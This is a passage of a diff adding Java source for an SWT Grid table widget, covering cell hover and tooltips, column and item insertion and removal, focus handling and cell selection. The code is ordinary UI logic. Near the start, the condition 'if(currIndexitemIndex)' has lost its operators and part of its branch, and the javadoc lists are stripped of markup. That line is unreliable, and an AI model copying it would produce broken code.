while(currIndex!=itemIndex) + { + if(currIndexitemIndex) + { + currIndex--; + GridItem currItem = (GridItem)items.get(currIndex); + if(currItem.isVisible()) + { + y -= currItem.getHeight() + 1; + } + } + } + } + else + { + if (column.getColumnGroup() != null) + { + y += groupHeaderHeight; + } + } + + return new Point(x, y); + } + + /** + * Determines (which cell/if a cell) has been clicked (mouse down really) + * and notifies the appropriate renderer. Returns true when a cell has + * responded to this event in some way and prevents the event from + * triggering an action further down the chain (like a selection). + * + * @param item item clicked + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleCellClick(GridItem item, int x, int y) + { + + // if(!isTree) + // return false; + + GridColumn col = getColumn(new Point(x, y)); + if (col == null) + { + return false; + } + + col.getCellRenderer().setBounds(item.getBounds(indexOf(col))); + return col.getCellRenderer().notify(IInternalWidget.LeftMouseButtonDown, new Point(x, y), item); + + } + + /** + * Sets the hovering variables (hoverItem,hoveringColumn) as well as + * hoverDetail by talking to the cell renderers. Triggers a redraw if + * necessary. + * + * @param x mouse x + * @param y mouse y + * @return true if a new section of the table is now being hovered + */ + private boolean handleCellHover(int x, int y) + { + + String detail = ""; + + boolean overText = false; + + final GridColumn col = getColumn(new Point(x, y)); + final GridItem item = getItem(new Point(x, y)); + + GridColumnGroup hoverColGroup = null; + GridColumn hoverColHeader = null; + + if (col != null) + { + if (item != null) + { + if( y < getClientArea().height - footerHeight ) { + col.getCellRenderer().setBounds(item.getBounds(columns.indexOf(col))); + + if (col.getCellRenderer().notify(IInternalWidget.MouseMove, new Point(x, y), item)) + { + detail = col.getCellRenderer().getHoverDetail(); + } + + Rectangle textBounds = col.getCellRenderer().getTextBounds(item,false); + + if (textBounds != null) + { + Point p = new Point(x - col.getCellRenderer().getBounds().x, y - col.getCellRenderer().getBounds().y); + overText = textBounds.contains(p); + } + } + } + else + { + if (y < headerHeight) + { + if (columnGroups.length != 0 && y < groupHeaderHeight + && col.getColumnGroup() != null) + { + hoverColGroup = col.getColumnGroup(); + hoverColGroup.getHeaderRenderer().setBounds(hoverColGroup.getBounds()); + if (hoverColGroup.getHeaderRenderer() + .notify(IInternalWidget.MouseMove, new Point(x, y), hoverColGroup)) + { + detail = hoverColGroup.getHeaderRenderer().getHoverDetail(); + } + + Rectangle textBounds = hoverColGroup.getHeaderRenderer().getTextBounds(hoverColGroup,false); + + if (textBounds != null) + { + Point p = new Point(x - hoverColGroup.getHeaderRenderer().getBounds().x, y - hoverColGroup.getHeaderRenderer().getBounds().y); + overText = textBounds.contains(p); + } + } + else + { + // on col header + hoverColHeader = col; + + col.getHeaderRenderer().setBounds(col.getBounds()); + if (col.getHeaderRenderer().notify(IInternalWidget.MouseMove, new Point(x, y), + col)) + { + detail = col.getHeaderRenderer().getHoverDetail(); + } + + Rectangle textBounds = col.getHeaderRenderer().getTextBounds(col,false); + + if (textBounds != null) + { + Point p = new Point(x - col.getHeaderRenderer().getBounds().x, y - col.getHeaderRenderer().getBounds().y); + overText = textBounds.contains(p); + } + } + } + } + } + + boolean hoverChange = false; + + if (hoveringItem != item || !hoveringDetail.equals(detail) || hoveringColumn != col + || hoverColGroup != hoverColumnGroupHeader || hoverColHeader != hoveringColumnHeader) + { + hoveringItem = item; + hoveringDetail = detail; + hoveringColumn = col; + hoveringColumnHeader = hoverColHeader; + hoverColumnGroupHeader = hoverColGroup; + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + hoverChange = true; + } + + //do inplace toolTip stuff + if (hoverChange || hoveringOverText != overText) + { + hoveringOverText = overText; + + if (overText){ + + Rectangle cellBounds = null; + Rectangle textBounds = null; + Rectangle preferredTextBounds = null; + + if (hoveringItem != null && hoveringItem.getToolTipText(indexOf(col)) == null && //no inplace tooltips when regular tooltip + !col.getWordWrap()) //dont show inplace tooltips for cells with wordwrap + { + cellBounds = col.getCellRenderer().getBounds(); + if (cellBounds.x + cellBounds.width > getSize().x) + { + cellBounds.width = getSize().x - cellBounds.x; + } + textBounds = col.getCellRenderer().getTextBounds(item,false); + preferredTextBounds = col.getCellRenderer().getTextBounds(item,true); + } + else if (hoveringColumnHeader != null && hoveringColumnHeader.getHeaderTooltip() == null) //no inplace tooltips when regular tooltip + { + cellBounds = hoveringColumnHeader.getHeaderRenderer().getBounds(); + if (cellBounds.x + cellBounds.width > getSize().x) + { + cellBounds.width = getSize().x - cellBounds.x; + } + textBounds = hoveringColumnHeader.getHeaderRenderer().getTextBounds(col,false); + preferredTextBounds = hoveringColumnHeader.getHeaderRenderer().getTextBounds(col,true); + } + else if (hoverColumnGroupHeader != null) + { + cellBounds = hoverColumnGroupHeader.getHeaderRenderer().getBounds(); + if (cellBounds.x + cellBounds.width > getSize().x) + { + cellBounds.width = getSize().x - cellBounds.x; + } + textBounds = hoverColumnGroupHeader.getHeaderRenderer().getTextBounds(hoverColumnGroupHeader,false); + preferredTextBounds = hoverColumnGroupHeader.getHeaderRenderer().getTextBounds(hoverColumnGroupHeader,true); + } + + //if we are truncated + if (textBounds != null && textBounds.width < preferredTextBounds.width) + { + showToolTip(item,col, hoverColumnGroupHeader, new Point(cellBounds.x + textBounds.x,cellBounds.y + + textBounds.y)); + //the following 2 lines are done here rather than in showToolTip to allow + //that method to be overridden yet still capture the mouse. + setCapture(true); + inplaceTooltipCapture = true; + } + } + else + { + hideToolTip(); + } + } + + //do normal cell specific tooltip stuff + if (hoverChange) + { + String newTip = null; + if ((hoveringItem != null) && (hoveringColumn != null)) { + // get cell specific tooltip + newTip = hoveringItem.getToolTipText(indexOf(hoveringColumn)); + } else if ((hoveringColumn != null) && (hoveringColumnHeader != null)) { + // get column header specific tooltip + newTip = hoveringColumn.getHeaderTooltip(); + } + + if (newTip == null) { // no cell or column header specific tooltip then use base Grid tooltip + newTip = getToolTipText(); + } + + //Avoid unnecessarily resetting tooltip - this will cause the tooltip to jump around + if (newTip != null && !newTip.equals(displayedToolTipText)) + { + updateToolTipText(newTip); + } + else if(newTip == null && displayedToolTipText != null) + { + updateToolTipText(null); + } + displayedToolTipText = newTip; + } + + return hoverChange; + } + + /** + * Sets the tooltip for the whole Grid to the given text. This method is made available + * for subclasses to override, when a subclass wants to display a different than the standard + * SWT/OS tooltip. Generally, those subclasses would override this event and use this tooltip + * text in their own tooltip or just override this method to prevent the SWT/OS tooltip from + * displaying. + * + * @param text + */ + protected void updateToolTipText(String text) + { + super.setToolTipText(text); + } + + /** + * Marks the scroll values obsolete so they will be recalculated. + */ + protected void setScrollValuesObsolete() + { + this.scrollValuesObsolete = true; + redraw(); + } + + /** + * Inserts a new column into the table. + * + * @param column new column + * @param index index to insert new column + * @return current number of columns + */ + int newColumn(GridColumn column, int index) + { + + if (index == -1) + { + columns.add(column); + displayOrderedColumns.add(column); + } + else + { + columns.add(index, column); + displayOrderedColumns.add(index, column); + + for (int i = 0; i < columns.size(); i++) { + ((GridColumn) columns.get(i)).setColumnIndex(i); + } + } + + computeHeaderHeight(sizingGC); + computeFooterHeight(sizingGC); + + updatePrimaryCheckColumn(); + + for (Iterator iterator = items.iterator(); iterator.hasNext();) + { + GridItem item = (GridItem)iterator.next(); + item.columnAdded(index); + } + + scrollValuesObsolete = true; + redraw(); + + return columns.size() - 1; + } + + /** + * Removes the given column from the table. + * + * @param column column to remove + */ + void removeColumn(GridColumn column) + { + boolean selectionModified = false; + + int index = indexOf(column); + + if (cellSelectionEnabled) + { + Vector removeSelectedCells = new Vector(); + + for (Iterator iterator = selectedCells.iterator(); iterator.hasNext();) + { + Point cell = (Point)iterator.next(); + if (cell.x == index) + { + removeSelectedCells.add(cell); + } + } + + if (removeSelectedCells.size() > 0) + { + selectedCells.removeAll(removeSelectedCells); + selectionModified = true; + } + + for (Iterator iterator = selectedCells.iterator(); iterator.hasNext();) + { + Point cell = (Point)iterator.next(); + if (cell.x >= index) + { + cell.x--; + selectionModified = true; + } + } + } + + columns.remove(column); + displayOrderedColumns.remove(column); + + updatePrimaryCheckColumn(); + + scrollValuesObsolete = true; + redraw(); + + for (Iterator iterator = items.iterator(); iterator.hasNext();) + { + GridItem item = (GridItem)iterator.next(); + item.columnRemoved(index); + } + + int i = 0; + for (Iterator iterator = columns.iterator(); iterator.hasNext();) + { + GridColumn col = (GridColumn)iterator.next(); + col.setColumnIndex(i); + i++; + } + + if (selectionModified && !disposing) + { + updateColumnSelection(); + } + } + + /** + * Manages the setting of the checkbox column when the SWT.CHECK style was given to the + * table. This method will ensure that the first column of the table always has a checkbox + * when SWT.CHECK is given to the table. + */ + private void updatePrimaryCheckColumn() + { + if ((getStyle() & SWT.CHECK) == SWT.CHECK) + { + boolean firstCol = true; + + for (Iterator iter = columns.iterator(); iter.hasNext();) + { + GridColumn col = (GridColumn)iter.next(); + col.setTableCheck(firstCol); + firstCol = false; + } + } + } + + void newRootItem(GridItem item, int index) + { + if (index == -1 || index >= rootItems.size()) + { + rootItems.add(item); + } + else + { + rootItems.add(index,item); + } + } + + void removeRootItem(GridItem item) + { + rootItems.remove(item); + } + + /** + * Creates the new item at the given index. Only called from GridItem + * constructor. + * + * @param item new item + * @param index index to insert the item at + * @return the index where the item was insert + */ + int newItem(GridItem item, int index, boolean root) + { + int row = 0; + + if (!isTree) + { + if (item.getParentItem() != null) + { + isTree = true; + } + } + + //Have to convert indexes, this method needs a flat index, the method is called with indexes + //that are relative to the level + if (root && index != -1) + { + if (index >= rootItems.size()) + { + index = -1; + } + else + { + index = items.indexOf(rootItems.get(index)); + } + } + else if (!root) + { + if (index >= item.getParentItem().getItems().length || index == -1) + { + GridItem rightMostDescendent = item.getParentItem(); + + while (rightMostDescendent.getItems().length > 0) + { + rightMostDescendent = rightMostDescendent.getItems()[rightMostDescendent + .getItems().length - 1]; + } + + index = indexOf(rightMostDescendent) + 1; + } + else + { + index = indexOf(item.getParentItem().getItems()[index]); + } + } + + if (index == -1) + { + items.add(item); + row = items.size() - 1; + } + else + { + items.add(index, item); + row = index; + } + + if (items.size() == 1 && !userModifiedItemHeight) + itemHeight = computeItemHeight(item,sizingGC); + + item.initializeHeight(itemHeight); + + if (isRowHeaderVisible() && isAutoWidth()) + { + rowHeaderWidth = Math.max(rowHeaderWidth,rowHeaderRenderer + .computeSize(sizingGC, SWT.DEFAULT, SWT.DEFAULT, item).x); + } + + scrollValuesObsolete = true; + topIndex = -1; + bottomIndex = -1; + + currentVisibleItems++; + + redraw(); + + return row; + } + + /** + * Removes the given item from the table. This method is only called from + * the item's dispose method. + * + * @param item item to remove + */ + void removeItem(GridItem item) + { + Point[] cells = getCells(item); + boolean selectionModified = false; + + items.remove(item); + + if (disposing) + return; + + if (selectedItems.remove(item)) + selectionModified = true; + + for (int i = 0; i < cells.length; i++) + { + if (selectedCells.remove(cells[i])) + selectionModified = true; + } + + if (focusItem == item) + { + focusItem = null; + } + + scrollValuesObsolete = true; + topIndex = -1; + bottomIndex = -1; + if (item.isVisible()) + { + currentVisibleItems--; + } + + if (selectionModified && !disposing) + { + updateColumnSelection(); + } + + redraw(); + } + + /** + * Creates the given column group at the given index. This method is only + * called from the {@code GridColumnGroup}'s constructor. + * + * @param group group to add. + */ + void newColumnGroup(GridColumnGroup group) + { + GridColumnGroup[] newColumnGroups = new GridColumnGroup[columnGroups.length + 1]; + System.arraycopy(columnGroups, 0, newColumnGroups, 0, columnGroups.length); + newColumnGroups[newColumnGroups.length - 1] = group; + columnGroups = newColumnGroups; + + // if we just added the first col group, then we need to up the row + // height + if (columnGroups.length == 1) + { + computeHeaderHeight(sizingGC); + } + + scrollValuesObsolete = true; + redraw(); + } + + /** + * Removes the given column group from the table. This method is only called + * from the {@code GridColumnGroup}'s dispose method. + * + * @param group group to remove. + */ + void removeColumnGroup(GridColumnGroup group) + { + GridColumnGroup[] newColumnGroups = new GridColumnGroup[columnGroups.length - 1]; + int newIndex = 0; + for (int i = 0; i < columnGroups.length; i++) + { + if (columnGroups[i] != group) + { + newColumnGroups[newIndex] = columnGroups[i]; + newIndex++; + } + } + columnGroups = newColumnGroups; + + if (columnGroups.length == 0) + { + computeHeaderHeight(sizingGC); + } + + scrollValuesObsolete = true; + redraw(); + } + + /** + * Updates the cached number of visible items by the given amount. + * + * @param amount amount to update cached total + */ + void updateVisibleItems(int amount) + { + currentVisibleItems += amount; + } + + /** + * Returns the current item in focus. + * + * @return item in focus or {@code null}. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem getFocusItem() + { + checkWidget(); + return focusItem; + } + + /** + * Returns the current cell in focus. If cell selection is disabled, this method returns null. + * + * @return cell in focus or {@code null}. x represents the column and y the row the cell is in + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Point getFocusCell() + { + checkWidget(); + if (!cellSelectionEnabled) return null; + + int x = -1; + int y = -1; + + if (focusColumn != null) + x = indexOf(focusColumn); + + if (focusItem != null) + y = indexOf(focusItem); + + return new Point(x,y); + } + + /** + * Sets the focused item to the given item. + * + * @param item item to focus. + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if item is disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setFocusItem(GridItem item) + { + checkWidget(); + //TODO: check and make sure this item is valid for focus + if (item == null || item.isDisposed() || item.getParent() != this) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + focusItem = item; + } + + /** + * Sets the focused item to the given column. Column focus is only applicable when cell + * selection is enabled. + * + * @param column column to focus. + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if item is disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setFocusColumn(GridColumn column) + { + checkWidget(); + //TODO: check and make sure this item is valid for focus + if (column == null || column.isDisposed() || column.getParent() != this || !column.isVisible()) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + + focusColumn = column; + intendedFocusColumn = column; + } + + + /** + * Returns an array of the columns in their display order. + * + * @return columns in display order + */ + GridColumn[] getColumnsInOrder() + { + checkWidget(); + return (GridColumn[])displayOrderedColumns.toArray(new GridColumn[columns.size()]); + } + + /** + * Returns true if the table is set to horizontally scroll column-by-column + * rather than pixel-by-pixel. + * + * @return true if the table is scrolled horizontally by column + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getColumnScrolling() + { + checkWidget(); + return columnScrolling; + } + + /** + * Sets the table scrolling method to either scroll column-by-column (true) + * or pixel-by-pixel (false). + * + * @param columnScrolling true to horizontally scroll by column, false to + * scroll by pixel + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setColumnScrolling(boolean columnScrolling) + { + checkWidget(); + if (rowHeaderVisible && !columnScrolling) + { + return; + } + + this.columnScrolling = columnScrolling; + scrollValuesObsolete = true; + redraw(); + } + + /** + * Returns the first visible column that is not spanned by any other column that is either the + * given column or any of the columns displaying to the left of the given column. If the + * given column and subsequent columns to the right are either not visible or spanned, this + * method will return null. + * + * @param item + * @param col + * @return + */ + private GridColumn getVisibleColumn_DegradeLeft(GridItem item, GridColumn col) + { + int index = displayOrderedColumns.indexOf(col); + + GridColumn prevCol = col; + + int i = 0; + while (!prevCol.isVisible()) + { + i ++; + if (index - i < 0) + return null; + + prevCol = (GridColumn)displayOrderedColumns.get(index - i); + } + + index = displayOrderedColumns.indexOf(prevCol); + + for (int j = 0; j < index; j++) + { + GridColumn tempCol = (GridColumn)displayOrderedColumns.get(j); + + if (!tempCol.isVisible()) + { + continue; + } + + if (item.getColumnSpan(indexOf(tempCol)) >= index - j) + { + prevCol = tempCol; + break; + } + } + + return prevCol; + } + + /** + * Returns the first visible column that is not spanned by any other column that is either the + * given column or any of the columns displaying to the right of the given column. If the + * given column and subsequent columns to the right are either not visible or spanned, this + * method will return null. + * + * @param item + * @param col + * @return + */ + private GridColumn getVisibleColumn_DegradeRight(GridItem item, GridColumn col) + { + int index = displayOrderedColumns.indexOf(col); + + int i = 0; + GridColumn nextCol = col; + while (!nextCol.isVisible()) + { + i ++; + if (index + i == displayOrderedColumns.size()) + return null; + + nextCol = (GridColumn)displayOrderedColumns.get(index + i); + } + + + index = displayOrderedColumns.indexOf(nextCol); + int startIndex = index; + + while (index > 0) + { + + index --; + GridColumn prevCol = (GridColumn)displayOrderedColumns.get(index); + + if (item.getColumnSpan(indexOf(prevCol)) >= startIndex - index) + { + if (startIndex == displayOrderedColumns.size() - 1) + { + return null; + } + else + { + return getVisibleColumn_DegradeRight(item, (GridColumn)displayOrderedColumns.get(startIndex + 1)); + } + } + + } + + return nextCol; + } + + /** + * Returns true if the cells are selectable in the reciever. + * + * @return cell selection enablement status. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getCellSelectionEnabled() + { + checkWidget(); + return cellSelectionEnabled; + } + + /** + * Sets whether cells are selectable in the receiver. + * + * @param cellSelection the cellSelection to set + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setCellSelectionEnabled(boolean cellSelection) + { + checkWidget(); + if (!cellSelection) + { + selectedCells.clear(); + redraw(); + } + else + { + selectedItems.clear(); + redraw(); + } + + this.cellSelectionEnabled = cellSelection; + } + + /** + * @return true if cell selection is enabled + */ + public boolean isCellSelectionEnabled() { + return cellSelectionEnabled; + } + + /** + * Deselects the given cell in the receiver. If the given cell is already + * deselected it remains deselected. Invalid cells are ignored. + * + * @param cell cell to deselect. + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the cell is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselectCell(Point cell) + { + checkWidget(); + + if (cell == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + selectedCells.remove(cell); + updateColumnSelection(); + redraw(); + } + + /** + * Deselects the given cells. Invalid cells are ignored. + * + * @param cells the cells to deselect. + * + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the set of cells or any cell is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselectCells(Point[] cells) + { + checkWidget(); + + if (cells == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + for (int i = 0; i < cells.length; i++) + { + if (cells[i] == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + for (int i = 0; i < cells.length; i++) + { + selectedCells.remove(cells[i]); + } + + updateColumnSelection(); + + redraw(); + } + + /** + * Deselects all selected cells in the receiver. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void deselectAllCells() + { + checkWidget(); + selectedCells.clear(); + updateColumnSelection(); + redraw(); + } + + /** + * Selects the given cell. Invalid cells are ignored. + * + * @param cell point whose x values is a column index and y value is an item index + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectCell(Point cell) + { + checkWidget(); + + if (!cellSelectionEnabled) return; + + if (cell == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + addToCellSelection(cell); + updateColumnSelection(); + redraw(); + } + + /** + * Selects the given cells. Invalid cells are ignored. + * + * @param cells an arry of points whose x value is a column index and y value is an item index + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the set of cells or an individual cell is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectCells(Point[] cells) + { + checkWidget(); + + if (!cellSelectionEnabled) return; + + if (cells == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + for (int i = 0; i < cells.length; i++) + { + if (cells[i] == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + for (int i = 0; i < cells.length; i++) + { + addToCellSelection(cells[i]); + } + + updateColumnSelection(); + redraw(); + } + + /** + * Selects all cells in the receiver. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectAllCells() + { + checkWidget(); + selectAllCellsInternal(); + } + + /** + * Selects all cells in the receiver. + * + * @return An Event object + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + private Event selectAllCellsInternal() + { + if (!cellSelectionEnabled) + return selectAllRowsInternal(); + + if (columns.size() == 0) + return null; + + if(items.size() == 0) + return null; + + int index = 0; + GridColumn column = (GridColumn)displayOrderedColumns.get(index); + + while (!column.isVisible()) + { + index ++; + + if (index >= columns.size()) + return null; + + column = (GridColumn)displayOrderedColumns.get(index); + } + + GridColumn oldFocusColumn = focusColumn; + GridItem oldFocusItem = focusItem; + + focusColumn = column; + focusItem = (GridItem)items.get(0); + + GridItem lastItem = getPreviousVisibleItem(null); + GridColumn lastCol = getVisibleColumn_DegradeLeft(lastItem,(GridColumn)displayOrderedColumns.get(displayOrderedColumns.size() -1)); + + Event event = updateCellSelection(new Point(indexOf(lastCol),indexOf(lastItem)),SWT.MOD2, true, false); + + focusColumn = oldFocusColumn; + focusItem = oldFocusItem; + + updateColumnSelection(); + + redraw(); + return event; + } + + /** + * Selects rows in the receiver. + * + * @return An Event object + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + private Event selectAllRowsInternal() + { + if (cellSelectionEnabled) + return selectAllCellsInternal(); + + if (SWT.MULTI != selectionType) + return null; + + if(items.size() == 0) + return null; + + deselectAll(); + + GridItem oldFocusItem = focusItem; + + GridItem firstItem = getItem(getTopIndex()); + GridItem lastItem = getPreviousVisibleItem(null); + + setFocusItem(firstItem); + updateSelection(firstItem, SWT.NONE); + + Event event = updateSelection(lastItem, SWT.MOD2); + + setFocusItem(oldFocusItem); + + redraw(); + return event; + } + + /** + * Selects all cells in the given column in the receiver. + * + * @param col + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectColumn(int col) { + checkWidget(); + Vector cells = new Vector(); + getCells(getColumn(col), cells); + selectCells((Point[])cells.toArray(new Point[0])); + } + + /** + * Selects all cells in the given column group in the receiver. + * + * @param colGroup the column group + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectColumnGroup(int colGroup) { + selectColumnGroup(getColumnGroup(colGroup)); + } + + /** + * Selects all cells in the given column group in the receiver. + * + * @param colGroup the column group + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectColumnGroup(GridColumnGroup colGroup) { + checkWidget(); + Vector cells = new Vector(); + getCells(colGroup, cells); + selectCells((Point[])cells.toArray(new Point[0])); + } + + /** + * Selects the selection to the given cell. The existing selection is cleared before + * selecting the given cell. + * + * @param cell point whose x values is a column index and y value is an item index + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item is null
    • + *
    • ERROR_INVALID_ARGUMENT - if the cell is invalid
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setCellSelection(Point cell) + { + checkWidget(); + + if (!cellSelectionEnabled) return; + + if (cell == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (!isValidCell(cell)) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + + selectedCells.clear(); + addToCellSelection(cell); + updateColumnSelection(); + redraw(); + } + + /** + * Selects the selection to the given set of cell. The existing selection is cleared before + * selecting the given cells. + * + * @param cells point array whose x values is a column index and y value is an item index + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the cell array or an individual cell is null
    • + *
    • ERROR_INVALID_ARGUMENT - if the a cell is invalid
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setCellSelection(Point[] cells) + { + checkWidget(); + + if (!cellSelectionEnabled) return; + + if (cells == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + for (int i = 0; i < cells.length; i++) + { + if (cells[i] == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (!isValidCell(cells[i])) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + + selectedCells.clear(); + for (int i = 0; i < cells.length; i++) + { + addToCellSelection(cells[i]); + } + + updateColumnSelection(); + redraw(); + } + + /** + * Returns an array of cells that are currently selected in the + * receiver. The order of the items is unspecified. An empty array indicates + * that no items are selected. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its selection, so modifying the array will not affect the receiver. + *

    + * + * @return an array representing the cell selection + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Point[] getCellSelection() + { + checkWidget(); + return (Point[])selectedCells.toArray(new Point[selectedCells.size()]); + } + + + + + GridColumn getFocusColumn() + { + return focusColumn; + } + + void updateColumnFocus() + { + if (!focusColumn.isVisible()) + { + int index = displayOrderedColumns.indexOf(focusColumn); + if (index > 0) + { + GridColumn prev = (GridColumn)displayOrderedColumns.get(index - 1); + prev = getVisibleColumn_DegradeLeft(focusItem,prev); + if (prev == null) + { + prev = getVisibleColumn_DegradeRight(focusItem,focusColumn); + } + focusColumn = prev; + } + else + { + focusColumn = getVisibleColumn_DegradeRight(focusItem,focusColumn); + } + } + } + + private void getCells(GridColumn col, Vector cells) + { + int colIndex = indexOf(col); + + int columnAtPosition = 0; + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn nextCol = (GridColumn)iter.next(); + if (!nextCol.isVisible()) continue; + + if (nextCol == col) break; + + columnAtPosition ++; + } + + + GridItem item = null; + if (getItemCount() > 0) + item = getItem(0); + + while (item != null) + { + //is cell spanned + int position = -1; + boolean spanned = false; + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn nextCol = (GridColumn)iter.next(); + if (!nextCol.isVisible()) continue; + + if (nextCol == col) break; + + int span = item.getColumnSpan(indexOf(nextCol)); + + if (position + span >= columnAtPosition){ + spanned = true; + break; + } + } + + if (!spanned && item.getColumnSpan(colIndex) == 0) + { + cells.add(new Point(colIndex,indexOf(item))); + } + + item = getNextVisibleItem(item); + } + } + + private void getCells(GridColumnGroup colGroup, Vector cells) + { + GridColumn[] cols = colGroup.getColumns(); + for (int i = 0; i < cols.length; i++) { + getCells(cols[i], cells); + } + } + + private void getCells(GridItem item, Vector cells) + { + int itemIndex = indexOf(item); + + int span = 0; + + for (Iterator iter = displayOrderedColumns.iterator(); iter.hasNext();) + { + GridColumn nextCol = (GridColumn)iter.next(); + + if (span > 0) + { + span --; + continue; + } + + if (!nextCol.isVisible()) continue; + + span = item.getColumnSpan(indexOf(nextCol)); + + cells.add(new 